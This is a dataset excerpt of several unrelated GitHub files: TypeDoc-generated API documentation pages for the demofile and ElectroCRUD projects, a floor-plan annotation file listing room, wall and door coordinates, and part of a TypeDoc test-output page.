text
stringlengths
3
96.2k
meta
dict
<!doctype html> <html class="default no-js"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>IEventCsMatchEndRestart | demofile</title> <meta name="description" content=""> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="../assets/css/main.css"> </head> <body> <header> <div class="tsd-page-toolbar"> <div class="container"> <div class="table-wrap"> <div class="table-cell" id="tsd-search" data-index="../assets/js/search.js" data-base=".."> <div class="field"> <label for="tsd-search-field" class="tsd-widget search no-caption">Search</label> <input id="tsd-search-field" type="text" /> </div> <ul class="results"> <li class="state loading">Preparing search index...</li> <li class="state failure">The search index is not available</li> </ul> <a href="../index.html" class="title">demofile</a> </div> <div class="table-cell" id="tsd-widgets"> <div id="tsd-filter"> <a href="#" class="tsd-widget options no-caption" data-toggle="options">Options</a> <div class="tsd-filter-group"> <div class="tsd-select" id="tsd-filter-visibility"> <span class="tsd-select-label">All</span> <ul class="tsd-select-list"> <li data-value="public">Public</li> <li data-value="protected">Public/Protected</li> <li data-value="private" class="selected">All</li> </ul> </div> <input type="checkbox" id="tsd-filter-inherited" checked /> <label class="tsd-widget" for="tsd-filter-inherited">Inherited</label> <input type="checkbox" id="tsd-filter-externals" checked /> <label class="tsd-widget" for="tsd-filter-externals">Externals</label> <input type="checkbox" id="tsd-filter-only-exported" /> <label class="tsd-widget" for="tsd-filter-only-exported">Only exported</label> </div> </div> <a href="#" class="tsd-widget menu no-caption" data-toggle="menu">Menu</a> </div> </div> </div> </div> <div class="tsd-page-title"> <div class="container"> <ul class="tsd-breadcrumb"> <li> <a href="../globals.html">Globals</a> </li> <li> <a href="../modules/_eventtypes_.html">&quot;eventtypes&quot;</a> </li> <li> <a href="_eventtypes_.ieventcsmatchendrestart.html">IEventCsMatchEndRestart</a> </li> </ul> <h1>Interface IEventCsMatchEndRestart</h1> </div> </div> </header> <div class="container container-main"> <div class="row"> <div class="col-8 col-content"> <section class="tsd-panel tsd-hierarchy"> <h3>Hierarchy</h3> <ul class="tsd-hierarchy"> <li> <span class="target">IEventCsMatchEndRestart</span> </li> </ul> </section> </div> <div class="col-4 col-menu menu-sticky-wrap menu-highlight"> <nav class="tsd-navigation primary"> <ul> <li class="globals "> <a href="../globals.html"><em>Globals</em></a> </li> <li class="current tsd-kind-external-module"> <a href="../modules/_eventtypes_.html">"eventtypes"</a> <ul> <li class=" tsd-kind-module tsd-parent-kind-external-module tsd-is-not-exported"> <a href="../modules/_eventtypes_.___gameevents_.html">"./gameevents"</a> </li> </ul> </li> </ul> </nav> <nav class="tsd-navigation secondary menu-sticky"> <ul class="before-current"> </ul> <ul class="current"> <li class="current tsd-kind-interface tsd-parent-kind-external-module"> <a href="_eventtypes_.ieventcsmatchendrestart.html" class="tsd-kind-icon">IEvent<wbr>CsMatch<wbr>End<wbr>Restart</a> </li> </ul> <ul class="after-current"> </ul> </nav> </div> </div> </div> <footer class="with-border-bottom"> <div class="container"> <h2>Legend</h2> <div class="tsd-legend-group"> <ul class="tsd-legend"> <li class="tsd-kind-module"><span class="tsd-kind-icon">Module</span></li> <li class="tsd-kind-object-literal"><span class="tsd-kind-icon">Object literal</span></li> <li class="tsd-kind-variable"><span class="tsd-kind-icon">Variable</span></li> <li class="tsd-kind-function"><span class="tsd-kind-icon">Function</span></li> <li class="tsd-kind-function tsd-has-type-parameter"><span class="tsd-kind-icon">Function with type parameter</span></li> <li class="tsd-kind-index-signature"><span class="tsd-kind-icon">Index signature</span></li> <li class="tsd-kind-type-alias"><span class="tsd-kind-icon">Type alias</span></li> <li class="tsd-kind-type-alias tsd-has-type-parameter"><span class="tsd-kind-icon">Type alias with type parameter</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-enum"><span class="tsd-kind-icon">Enumeration</span></li> <li class="tsd-kind-enum-member"><span class="tsd-kind-icon">Enumeration member</span></li> <li class="tsd-kind-property tsd-parent-kind-enum"><span class="tsd-kind-icon">Property</span></li> <li class="tsd-kind-method tsd-parent-kind-enum"><span class="tsd-kind-icon">Method</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-interface"><span class="tsd-kind-icon">Interface</span></li> <li class="tsd-kind-interface tsd-has-type-parameter"><span class="tsd-kind-icon">Interface with type parameter</span></li> <li class="tsd-kind-constructor tsd-parent-kind-interface"><span class="tsd-kind-icon">Constructor</span></li> <li class="tsd-kind-property tsd-parent-kind-interface"><span class="tsd-kind-icon">Property</span></li> <li class="tsd-kind-method tsd-parent-kind-interface"><span class="tsd-kind-icon">Method</span></li> <li class="tsd-kind-index-signature tsd-parent-kind-interface"><span class="tsd-kind-icon">Index signature</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-class"><span class="tsd-kind-icon">Class</span></li> <li class="tsd-kind-class tsd-has-type-parameter"><span class="tsd-kind-icon">Class with type parameter</span></li> <li class="tsd-kind-constructor tsd-parent-kind-class"><span class="tsd-kind-icon">Constructor</span></li> <li class="tsd-kind-property tsd-parent-kind-class"><span class="tsd-kind-icon">Property</span></li> <li class="tsd-kind-method tsd-parent-kind-class"><span class="tsd-kind-icon">Method</span></li> <li class="tsd-kind-accessor tsd-parent-kind-class"><span class="tsd-kind-icon">Accessor</span></li> <li class="tsd-kind-index-signature tsd-parent-kind-class"><span class="tsd-kind-icon">Index signature</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-constructor tsd-parent-kind-class tsd-is-inherited"><span class="tsd-kind-icon">Inherited constructor</span></li> <li class="tsd-kind-property tsd-parent-kind-class tsd-is-inherited"><span class="tsd-kind-icon">Inherited property</span></li> <li class="tsd-kind-method tsd-parent-kind-class tsd-is-inherited"><span class="tsd-kind-icon">Inherited method</span></li> <li class="tsd-kind-accessor tsd-parent-kind-class tsd-is-inherited"><span class="tsd-kind-icon">Inherited accessor</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-property tsd-parent-kind-class tsd-is-protected"><span class="tsd-kind-icon">Protected property</span></li> <li class="tsd-kind-method tsd-parent-kind-class tsd-is-protected"><span class="tsd-kind-icon">Protected method</span></li> <li class="tsd-kind-accessor tsd-parent-kind-class tsd-is-protected"><span class="tsd-kind-icon">Protected accessor</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-property tsd-parent-kind-class tsd-is-private"><span class="tsd-kind-icon">Private property</span></li> <li class="tsd-kind-method tsd-parent-kind-class tsd-is-private"><span class="tsd-kind-icon">Private method</span></li> <li class="tsd-kind-accessor tsd-parent-kind-class tsd-is-private"><span class="tsd-kind-icon">Private accessor</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-property tsd-parent-kind-class tsd-is-static"><span class="tsd-kind-icon">Static property</span></li> <li class="tsd-kind-call-signature tsd-parent-kind-class tsd-is-static"><span class="tsd-kind-icon">Static method</span></li> </ul> </div> </div> </footer> <div class="container tsd-generator"> <p>Generated using <a href="https://typedoc.org/" target="_blank">TypeDoc</a></p> </div> <div class="overlay"></div> <script src="../assets/js/main.js"></script> <script>if (location.protocol == 'file:') document.write('<script src="../assets/js/search.js"><' + '/script>');</script> </body> </html>
{ "pile_set_name": "Github" }
<!doctype html> <html class="default no-js"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>IPCUpdateDataResponseMessage | ElectroCRUD</title> <meta name="description" content=""> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="../assets/css/main.css"> </head> <body> <header> <div class="tsd-page-toolbar"> <div class="container"> <div class="table-wrap"> <div class="table-cell" id="tsd-search" data-index="../assets/js/search.js" data-base=".."> <div class="field"> <label for="tsd-search-field" class="tsd-widget search no-caption">Search</label> <input id="tsd-search-field" type="text" /> </div> <ul class="results"> <li class="state loading">Preparing search index...</li> <li class="state failure">The search index is not available</li> </ul> <a href="../index.html" class="title">ElectroCRUD</a> </div> <div class="table-cell" id="tsd-widgets"> <div id="tsd-filter"> <a href="#" class="tsd-widget options no-caption" data-toggle="options">Options</a> <div class="tsd-filter-group"> <div class="tsd-select" id="tsd-filter-visibility"> <span class="tsd-select-label">All</span> <ul class="tsd-select-list"> <li data-value="public">Public</li> <li data-value="protected">Public/Protected</li> <li data-value="private" class="selected">All</li> </ul> </div> <input type="checkbox" id="tsd-filter-inherited" checked /> <label class="tsd-widget" for="tsd-filter-inherited">Inherited</label> <input type="checkbox" id="tsd-filter-externals" checked /> <label class="tsd-widget" for="tsd-filter-externals">Externals</label> <input type="checkbox" id="tsd-filter-only-exported" /> <label class="tsd-widget" for="tsd-filter-only-exported">Only exported</label> </div> </div> <a href="#" class="tsd-widget menu no-caption" data-toggle="menu">Menu</a> </div> </div> </div> </div> <div class="tsd-page-title"> <div class="container"> <ul class="tsd-breadcrumb"> <li> <a href="../globals.html">Globals</a> </li> <li> <a href="../modules/_src_shared_ipc_views_update_data_ipc_.html">&quot;src/shared/ipc/views/update-data.ipc&quot;</a> </li> <li> <a href="_src_shared_ipc_views_update_data_ipc_.ipcupdatedataresponsemessage.html">IPCUpdateDataResponseMessage</a> </li> </ul> <h1>Class IPCUpdateDataResponseMessage</h1> </div> </div> </header> <div class="container container-main"> <div class="row"> <div class="col-8 col-content"> <section class="tsd-panel tsd-hierarchy"> <h3>Hierarchy</h3> <ul class="tsd-hierarchy"> <li> <a href="_src_shared_ipc_base_ipc_.ipcbasemessage.html" class="tsd-signature-type">IPCBaseMessage</a><span class="tsd-signature-symbol">&lt;</span><a href="../interfaces/_src_shared_ipc_views_update_data_ipc_.iipcupdatedataresponsemessage.html" class="tsd-signature-type">IIPCUpdateDataResponseMessage</a><span class="tsd-signature-symbol">&gt;</span> <ul class="tsd-hierarchy"> <li> <span class="target">IPCUpdateDataResponseMessage</span> </li> </ul> </li> </ul> </section> <section class="tsd-panel-group tsd-index-group"> <h2>Index</h2> <section class="tsd-panel tsd-index-panel"> <div class="tsd-index-content"> <section class="tsd-index-section tsd-is-inherited"> <h3>Constructors</h3> <ul class="tsd-index-list"> <li class="tsd-kind-constructor tsd-parent-kind-class tsd-is-inherited"><a href="_src_shared_ipc_views_update_data_ipc_.ipcupdatedataresponsemessage.html#constructor" class="tsd-kind-icon">constructor</a></li> </ul> </section> <section class="tsd-index-section tsd-is-inherited"> <h3>Properties</h3> <ul class="tsd-index-list"> <li class="tsd-kind-property tsd-parent-kind-class tsd-is-inherited"><a href="_src_shared_ipc_views_update_data_ipc_.ipcupdatedataresponsemessage.html#message" class="tsd-kind-icon">message</a></li> </ul> </section> <section class="tsd-index-section tsd-is-inherited"> <h3>Methods</h3> <ul class="tsd-index-list"> <li class="tsd-kind-method tsd-parent-kind-class tsd-is-inherited"><a href="_src_shared_ipc_views_update_data_ipc_.ipcupdatedataresponsemessage.html#tojsonvalue" class="tsd-kind-icon">to<wbr>Json<wbr>Value</a></li> <li class="tsd-kind-method tsd-parent-kind-class tsd-is-inherited"><a href="_src_shared_ipc_views_update_data_ipc_.ipcupdatedataresponsemessage.html#tomessage" class="tsd-kind-icon">to<wbr>Message</a></li> </ul> </section> </div> </section> </section> <section class="tsd-panel-group tsd-member-group tsd-is-inherited"> <h2>Constructors</h2> <section class="tsd-panel tsd-member tsd-kind-constructor tsd-parent-kind-class tsd-is-inherited"> <a name="constructor" class="tsd-anchor"></a> <h3>constructor</h3> <ul class="tsd-signatures tsd-kind-constructor tsd-parent-kind-class tsd-is-inherited"> <li class="tsd-signature tsd-kind-icon">new IPCUpdate<wbr>Data<wbr>Response<wbr>Message<span class="tsd-signature-symbol">(</span>data<span class="tsd-signature-symbol">: </span><a href="../interfaces/_src_shared_ipc_views_update_data_ipc_.iipcupdatedataresponsemessage.html" class="tsd-signature-type">IIPCUpdateDataResponseMessage</a><span class="tsd-signature-symbol"> | </span><span class="tsd-signature-type">JsonValue</span><span class="tsd-signature-symbol">)</span><span class="tsd-signature-symbol">: </span><a href="_src_shared_ipc_views_update_data_ipc_.ipcupdatedataresponsemessage.html" class="tsd-signature-type">IPCUpdateDataResponseMessage</a></li> </ul> <ul class="tsd-descriptions"> <li class="tsd-description"> <aside class="tsd-sources"> <p>Inherited from <a href="_src_shared_ipc_base_ipc_.ipcbasemessage.html">IPCBaseMessage</a>.<a href="_src_shared_ipc_base_ipc_.ipcbasemessage.html#constructor">constructor</a></p> <ul> <li>Defined in <a href="https://github.com/garrylachman/ElectroCRUD/blob/f48bdc7/src/shared/ipc/base.ipc.ts#L5">src/shared/ipc/base.ipc.ts:5</a></li> </ul> </aside> <h4 class="tsd-parameters-title">Parameters</h4> <ul class="tsd-parameters"> <li> <h5>data: <a href="../interfaces/_src_shared_ipc_views_update_data_ipc_.iipcupdatedataresponsemessage.html" class="tsd-signature-type">IIPCUpdateDataResponseMessage</a><span class="tsd-signature-symbol"> | </span><span class="tsd-signature-type">JsonValue</span></h5> </li> </ul> <h4 class="tsd-returns-title">Returns <a href="_src_shared_ipc_views_update_data_ipc_.ipcupdatedataresponsemessage.html" class="tsd-signature-type">IPCUpdateDataResponseMessage</a></h4> </li> </ul> </section> </section> <section class="tsd-panel-group tsd-member-group tsd-is-inherited"> <h2>Properties</h2> <section class="tsd-panel tsd-member tsd-kind-property tsd-parent-kind-class tsd-is-inherited"> <a name="message" class="tsd-anchor"></a> <h3>message</h3> <div class="tsd-signature tsd-kind-icon">message<span class="tsd-signature-symbol">:</span> <a href="../interfaces/_src_shared_ipc_views_update_data_ipc_.iipcupdatedataresponsemessage.html" class="tsd-signature-type">IIPCUpdateDataResponseMessage</a></div> <aside class="tsd-sources"> <p>Inherited from <a href="_src_shared_ipc_base_ipc_.ipcbasemessage.html">IPCBaseMessage</a>.<a href="_src_shared_ipc_base_ipc_.ipcbasemessage.html#message">message</a></p> <ul> <li>Defined in <a href="https://github.com/garrylachman/ElectroCRUD/blob/f48bdc7/src/shared/ipc/base.ipc.ts#L5">src/shared/ipc/base.ipc.ts:5</a></li> </ul> </aside> </section> </section> <section class="tsd-panel-group tsd-member-group tsd-is-inherited"> <h2>Methods</h2> <section class="tsd-panel tsd-member tsd-kind-method tsd-parent-kind-class tsd-is-inherited"> <a name="tojsonvalue" class="tsd-anchor"></a> <h3>to<wbr>Json<wbr>Value</h3> <ul class="tsd-signatures tsd-kind-method tsd-parent-kind-class tsd-is-inherited"> <li class="tsd-signature tsd-kind-icon">to<wbr>Json<wbr>Value<span class="tsd-signature-symbol">(</span><span class="tsd-signature-symbol">)</span><span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">JsonValue</span></li> </ul> <ul class="tsd-descriptions"> <li class="tsd-description"> <aside class="tsd-sources"> <p>Inherited from <a href="_src_shared_ipc_base_ipc_.ipcbasemessage.html">IPCBaseMessage</a>.<a href="_src_shared_ipc_base_ipc_.ipcbasemessage.html#tojsonvalue">toJsonValue</a></p> <ul> <li>Defined in <a href="https://github.com/garrylachman/ElectroCRUD/blob/f48bdc7/src/shared/ipc/base.ipc.ts#L15">src/shared/ipc/base.ipc.ts:15</a></li> </ul> </aside> <h4 class="tsd-returns-title">Returns <span class="tsd-signature-type">JsonValue</span></h4> </li> </ul> </section> <section class="tsd-panel tsd-member tsd-kind-method tsd-parent-kind-class tsd-is-inherited"> <a name="tomessage" class="tsd-anchor"></a> <h3>to<wbr>Message</h3> <ul class="tsd-signatures tsd-kind-method tsd-parent-kind-class tsd-is-inherited"> <li class="tsd-signature tsd-kind-icon">to<wbr>Message<span class="tsd-signature-symbol">(</span><span class="tsd-signature-symbol">)</span><span class="tsd-signature-symbol">: </span><a href="../interfaces/_src_shared_ipc_views_update_data_ipc_.iipcupdatedataresponsemessage.html" class="tsd-signature-type">IIPCUpdateDataResponseMessage</a></li> </ul> <ul class="tsd-descriptions"> <li class="tsd-description"> <aside class="tsd-sources"> <p>Inherited from <a href="_src_shared_ipc_base_ipc_.ipcbasemessage.html">IPCBaseMessage</a>.<a href="_src_shared_ipc_base_ipc_.ipcbasemessage.html#tomessage">toMessage</a></p> <ul> <li>Defined in <a href="https://github.com/garrylachman/ElectroCRUD/blob/f48bdc7/src/shared/ipc/base.ipc.ts#L11">src/shared/ipc/base.ipc.ts:11</a></li> </ul> </aside> <h4 class="tsd-returns-title">Returns <a href="../interfaces/_src_shared_ipc_views_update_data_ipc_.iipcupdatedataresponsemessage.html" class="tsd-signature-type">IIPCUpdateDataResponseMessage</a></h4> </li> </ul> </section> </section> </div> <div class="col-4 col-menu menu-sticky-wrap menu-highlight"> <nav class="tsd-navigation primary"> <ul> <li class="globals "> <a href="../globals.html"><em>Globals</em></a> </li> <li class="current tsd-kind-external-module"> <a href="../modules/_src_shared_ipc_views_update_data_ipc_.html">"src/shared/ipc/views/update-<wbr>data.ipc"</a> </li> </ul> </nav> <nav class="tsd-navigation secondary menu-sticky"> <ul class="before-current"> <li class=" tsd-kind-enum tsd-parent-kind-external-module"> <a href="../enums/_src_shared_ipc_views_update_data_ipc_.iipcupdatedatawhereopr.html" class="tsd-kind-icon">IIPCUpdate<wbr>Data<wbr>Where<wbr>Opr</a> </li> <li class=" tsd-kind-class tsd-parent-kind-external-module"> <a href="_src_shared_ipc_views_update_data_ipc_.ipcupdatedatarequestmessage.html" class="tsd-kind-icon">IPCUpdate<wbr>Data<wbr>Request<wbr>Message</a> </li> </ul> <ul class="current"> <li class="current tsd-kind-class tsd-parent-kind-external-module"> <a href="_src_shared_ipc_views_update_data_ipc_.ipcupdatedataresponsemessage.html" class="tsd-kind-icon">IPCUpdate<wbr>Data<wbr>Response<wbr>Message</a> <ul> <li class=" tsd-kind-constructor tsd-parent-kind-class tsd-is-inherited"> <a href="_src_shared_ipc_views_update_data_ipc_.ipcupdatedataresponsemessage.html#constructor" class="tsd-kind-icon">constructor</a> </li> <li class=" tsd-kind-property tsd-parent-kind-class tsd-is-inherited"> <a href="_src_shared_ipc_views_update_data_ipc_.ipcupdatedataresponsemessage.html#message" class="tsd-kind-icon">message</a> </li> <li class=" tsd-kind-method tsd-parent-kind-class tsd-is-inherited"> <a href="_src_shared_ipc_views_update_data_ipc_.ipcupdatedataresponsemessage.html#tojsonvalue" class="tsd-kind-icon">to<wbr>Json<wbr>Value</a> </li> <li class=" tsd-kind-method tsd-parent-kind-class tsd-is-inherited"> <a href="_src_shared_ipc_views_update_data_ipc_.ipcupdatedataresponsemessage.html#tomessage" class="tsd-kind-icon">to<wbr>Message</a> </li> </ul> </li> </ul> <ul class="after-current"> <li class=" tsd-kind-interface tsd-parent-kind-external-module"> <a href="../interfaces/_src_shared_ipc_views_update_data_ipc_.iipcupdatedatarequestmessage.html" class="tsd-kind-icon">IIPCUpdate<wbr>Data<wbr>Request<wbr>Message</a> </li> <li class=" tsd-kind-interface tsd-parent-kind-external-module"> <a href="../interfaces/_src_shared_ipc_views_update_data_ipc_.iipcupdatedataresponsemessage.html" class="tsd-kind-icon">IIPCUpdate<wbr>Data<wbr>Response<wbr>Message</a> </li> <li class=" tsd-kind-interface tsd-parent-kind-external-module"> <a href="../interfaces/_src_shared_ipc_views_update_data_ipc_.iipcupdatedataupdate.html" class="tsd-kind-icon">IIPCUpdate<wbr>Data<wbr>Update</a> </li> <li class=" tsd-kind-interface tsd-parent-kind-external-module"> <a href="../interfaces/_src_shared_ipc_views_update_data_ipc_.iipcupdatedatawhere.html" class="tsd-kind-icon">IIPCUpdate<wbr>Data<wbr>Where</a> </li> <li class=" tsd-kind-variable tsd-parent-kind-external-module"> <a href="../modules/_src_shared_ipc_views_update_data_ipc_.html#ipc_channel_update_data" class="tsd-kind-icon">IPC_<wbr>CHANNEL_<wbr>UPDATE_<wbr>DATA</a> </li> </ul> </nav> </div> </div> </div> <footer class="with-border-bottom"> <div class="container"> <h2>Legend</h2> <div class="tsd-legend-group"> <ul class="tsd-legend"> <li class="tsd-kind-module"><span class="tsd-kind-icon">Module</span></li> <li class="tsd-kind-object-literal"><span class="tsd-kind-icon">Object literal</span></li> <li class="tsd-kind-variable"><span class="tsd-kind-icon">Variable</span></li> <li class="tsd-kind-function"><span class="tsd-kind-icon">Function</span></li> <li class="tsd-kind-function tsd-has-type-parameter"><span class="tsd-kind-icon">Function with type parameter</span></li> <li class="tsd-kind-index-signature"><span class="tsd-kind-icon">Index signature</span></li> <li class="tsd-kind-type-alias"><span class="tsd-kind-icon">Type alias</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-enum"><span class="tsd-kind-icon">Enumeration</span></li> <li class="tsd-kind-enum-member"><span class="tsd-kind-icon">Enumeration member</span></li> <li class="tsd-kind-property tsd-parent-kind-enum"><span class="tsd-kind-icon">Property</span></li> <li class="tsd-kind-method tsd-parent-kind-enum"><span class="tsd-kind-icon">Method</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-interface"><span class="tsd-kind-icon">Interface</span></li> <li class="tsd-kind-interface tsd-has-type-parameter"><span class="tsd-kind-icon">Interface with type parameter</span></li> <li class="tsd-kind-constructor tsd-parent-kind-interface"><span class="tsd-kind-icon">Constructor</span></li> <li class="tsd-kind-property tsd-parent-kind-interface"><span class="tsd-kind-icon">Property</span></li> <li class="tsd-kind-method tsd-parent-kind-interface"><span class="tsd-kind-icon">Method</span></li> <li class="tsd-kind-index-signature tsd-parent-kind-interface"><span class="tsd-kind-icon">Index signature</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-class"><span class="tsd-kind-icon">Class</span></li> <li class="tsd-kind-class tsd-has-type-parameter"><span class="tsd-kind-icon">Class with type parameter</span></li> <li class="tsd-kind-constructor tsd-parent-kind-class"><span class="tsd-kind-icon">Constructor</span></li> <li class="tsd-kind-property tsd-parent-kind-class"><span class="tsd-kind-icon">Property</span></li> <li class="tsd-kind-method tsd-parent-kind-class"><span class="tsd-kind-icon">Method</span></li> <li class="tsd-kind-accessor tsd-parent-kind-class"><span class="tsd-kind-icon">Accessor</span></li> <li class="tsd-kind-index-signature tsd-parent-kind-class"><span class="tsd-kind-icon">Index signature</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-constructor tsd-parent-kind-class tsd-is-inherited"><span class="tsd-kind-icon">Inherited constructor</span></li> <li class="tsd-kind-property tsd-parent-kind-class tsd-is-inherited"><span class="tsd-kind-icon">Inherited property</span></li> <li class="tsd-kind-method tsd-parent-kind-class tsd-is-inherited"><span class="tsd-kind-icon">Inherited method</span></li> <li class="tsd-kind-accessor tsd-parent-kind-class tsd-is-inherited"><span class="tsd-kind-icon">Inherited accessor</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-property tsd-parent-kind-class tsd-is-protected"><span class="tsd-kind-icon">Protected property</span></li> <li class="tsd-kind-method tsd-parent-kind-class tsd-is-protected"><span class="tsd-kind-icon">Protected method</span></li> <li class="tsd-kind-accessor tsd-parent-kind-class tsd-is-protected"><span class="tsd-kind-icon">Protected accessor</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-property tsd-parent-kind-class tsd-is-private"><span class="tsd-kind-icon">Private property</span></li> <li class="tsd-kind-method tsd-parent-kind-class tsd-is-private"><span class="tsd-kind-icon">Private method</span></li> <li class="tsd-kind-accessor tsd-parent-kind-class tsd-is-private"><span class="tsd-kind-icon">Private accessor</span></li> </ul> <ul class="tsd-legend"> <li class="tsd-kind-property tsd-parent-kind-class tsd-is-static"><span class="tsd-kind-icon">Static property</span></li> <li class="tsd-kind-call-signature tsd-parent-kind-class tsd-is-static"><span class="tsd-kind-icon">Static method</span></li> </ul> </div> </div> </footer> <div class="container tsd-generator"> <p>Generated using <a href="http://typedoc.org/" target="_blank">TypeDoc</a></p> </div> <div class="overlay"></div> <script src="../assets/js/main.js"></script> <script>if (location.protocol == 'file:') document.write('<script src="../assets/js/search.js"><' + '/script>');</script> </body> </html>
{ "pile_set_name": "Github" }
54.854390934844 225.07960339943 100.45439093484 246.67960339943 restroom 1 1 127.59258037923 229.05045342127 227.59258037923 279.05045342127 kitchen 1 1 391.70942000779 249.2359283768 491.70942000779 299.2359283768 bedroom 1 1 206.11685437661 310.70863465718 273.31685437661 357.90863465718 bathroom 1 1 294.48456790123 309.1462962963 320.08456790123 356.3462962963 closet 1 1 58.6 331.6 87.4 360.4 PS 1 1 118 309 173 328 washing_room 1 1 98 73 184 110 bedroom 1 1 192 305 192 343 door 1 2 147 299 194 299 door 2 1 288 253 288 293 door 2 2 49 257 49 295 door 2 4 72 251 114 251 door 1 3 572 253 572 343 door 3 2 49 13 49 179 wall 1 1 49 205 49 370 wall 1 1 288 205 288 370 wall 1 1 572 205 572 370 wall 1 1 49 251 120 251 wall 1 1 97 299 97 370 wall 1 1 192 299 192 370 wall 1 1 334 299 334 370 wall 1 1 49 322 97 322 wall 1 1 49 13 286 13 wall 1 1 120 205 120 251 wall 1 1 97 299 334 299 wall 1 1 49 179 336 179 wall 1 1 49 205 572 205 wall 1 1 572 204 620 204 wall 2 1 620 204 620 370 wall 2 1 572 370 620 370 wall 2 1 49 370 572 370 wall 1 1 286 13 286 107 wall 2 1 286 107 334 107 wall 2 1 334 107 334 179 wall 2 1 279 15 350 56 stairs 1 2 279 205 349 247 stairs 1 2 242 304 283 365 bathtub 1 2 125 209 226 240 cooking_counter 1 1 54 212 91 242 toilet 1 2 145 342 184 368 washing_basin 1 1 109 336 137 362 washing_basin 4 1 51 253 93 320 entrance 1 1
{ "pile_set_name": "Github" }
<!doctype html> <html class="default no-js"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>&quot;modules&quot; | typedoc</title> <meta name="description" content="Documentation for typedoc"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="../assets/css/main.css"> </head> <body> <header> <div class="tsd-page-toolbar"> <div class="container"> <div class="table-wrap"> <div class="table-cell" id="tsd-search" data-index="../assets/js/search.json" data-base=".."> <div class="field"> <label for="tsd-search-field" class="tsd-widget search no-caption">Search</label> <input id="tsd-search-field" type="text" /> </div> <ul class="results"> <li class="state loading">Preparing search index...</li> <li class="state failure">The search index is not available</li> </ul> <a href="../index.html" class="title">typedoc</a> </div> <div class="table-cell" id="tsd-widgets"> <div id="tsd-filter"> <a href="#" class="tsd-widget options no-caption" data-toggle="options">Options</a> <div class="tsd-filter-group"> <div class="tsd-select" id="tsd-filter-visibility"> <span class="tsd-select-label">All</span> <ul class="tsd-select-list"> <li data-value="public">Public</li> <li data-value="protected">Public/Protected</li> <li data-value="private" class="selected">All</li> </ul> </div> <input type="checkbox" id="tsd-filter-inherited" checked /> <label class="tsd-widget" for="tsd-filter-inherited">Inherited</label> <input type="checkbox" id="tsd-filter-externals" checked /> <label class="tsd-widget" for="tsd-filter-externals">Externals</label> <input type="checkbox" id="tsd-filter-only-exported" /> <label class="tsd-widget" for="tsd-filter-only-exported">Only exported</label> </div> </div> <a href="#" class="tsd-widget menu no-caption" data-toggle="menu">Menu</a> </div> </div> </div> </div> <div class="tsd-page-title"> <div class="container"> <ul class="tsd-breadcrumb"> <li> <a href="../globals.html">Globals</a> </li> <li> <a href="_modules_.html">&quot;modules&quot;</a> </li> </ul> <h1>Module &quot;modules&quot;</h1> </div> </div> </header> <div class="container container-main"> <div class="row"> <div class="col-8 col-content"> <section class="tsd-panel tsd-comment"> <div class="tsd-comment tsd-typography"> <div class="lead"> <p>This comment has a code block that is only marked by indentation.</p> </div> <pre><code>@thisIsADecorator <span class="hljs-keyword">class</span> <span class="hljs-symbol">Foo</span> {}</code></pre> </div> </section> <section class="tsd-panel-group tsd-index-group"> <h2>Index</h2> <section class="tsd-panel tsd-index-panel"> <div class="tsd-index-content"> <section class="tsd-index-section "> <h3>Namespaces</h3> <ul class="tsd-index-list"> <li class="tsd-kind-namespace tsd-parent-kind-module"><a href="_modules_.mymodule.html" class="tsd-kind-icon">My<wbr>Module</a></li> </ul> </section> <section class="tsd-index-section "> <h3>Type aliases</h3> <ul class="tsd-index-list"> <li class="tsd-kind-type-alias tsd-parent-kind-module"><a href="_modules_.html#namedtuple" class="tsd-kind-icon">Named<wbr>Tuple</a></li> </ul> </section> <section class="tsd-index-section "> <h3>Variables</h3> <ul class="tsd-index-list"> <li class="tsd-kind-variable tsd-parent-kind-module"><a href="_modules_.html#exportedglobalvariable" class="tsd-kind-icon">exported<wbr>Global<wbr>Variable</a></li> <li class="tsd-kind-variable tsd-parent-kind-module tsd-is-not-exported"><a href="_modules_.html#globalvariable" class="tsd-kind-icon">global<wbr>Variable</a></li> <li class="tsd-kind-variable tsd-parent-kind-module tsd-is-not-exported"><a href="_modules_.html#typeliteral" class="tsd-kind-icon">type<wbr>Literal</a></li> </ul> </section> <section class="tsd-index-section tsd-is-not-exported"> <h3>Object literals</h3> <ul class="tsd-index-list"> <li class="tsd-kind-object-literal tsd-parent-kind-module tsd-is-not-exported"><a href="_modules_.html#objectliteral" class="tsd-kind-icon">object<wbr>Literal</a></li> </ul> </section> </div> </section> </section> <section class="tsd-panel-group tsd-member-group "> <h2>Type aliases</h2> <section class="tsd-panel tsd-member tsd-kind-type-alias tsd-parent-kind-module"> <a name="namedtuple" class="tsd-anchor"></a> <h3>Named<wbr>Tuple</h3> <div class="tsd-signature tsd-kind-icon">Named<wbr>Tuple<span class="tsd-signature-symbol">:</span> <span class="tsd-signature-symbol">[</span>name<span class="tsd-signature-symbol">: </span><span class="tsd-signature-type">string</span><span class="tsd-signature-symbol">, </span>optionalName<span class="tsd-signature-symbol">?: </span><span class="tsd-signature-type">number</span><span class="tsd-signature-symbol">]</span></div> <aside class="tsd-sources"> </aside> </section> </section> <section class="tsd-panel-group tsd-member-group "> <h2>Variables</h2> <section class="tsd-panel tsd-member tsd-kind-variable tsd-parent-kind-module"> <a name="exportedglobalvariable" class="tsd-anchor"></a> <h3><span class="tsd-flag ts-flagLet">Let</span> exported<wbr>Global<wbr>Variable</h3> <div class="tsd-signature 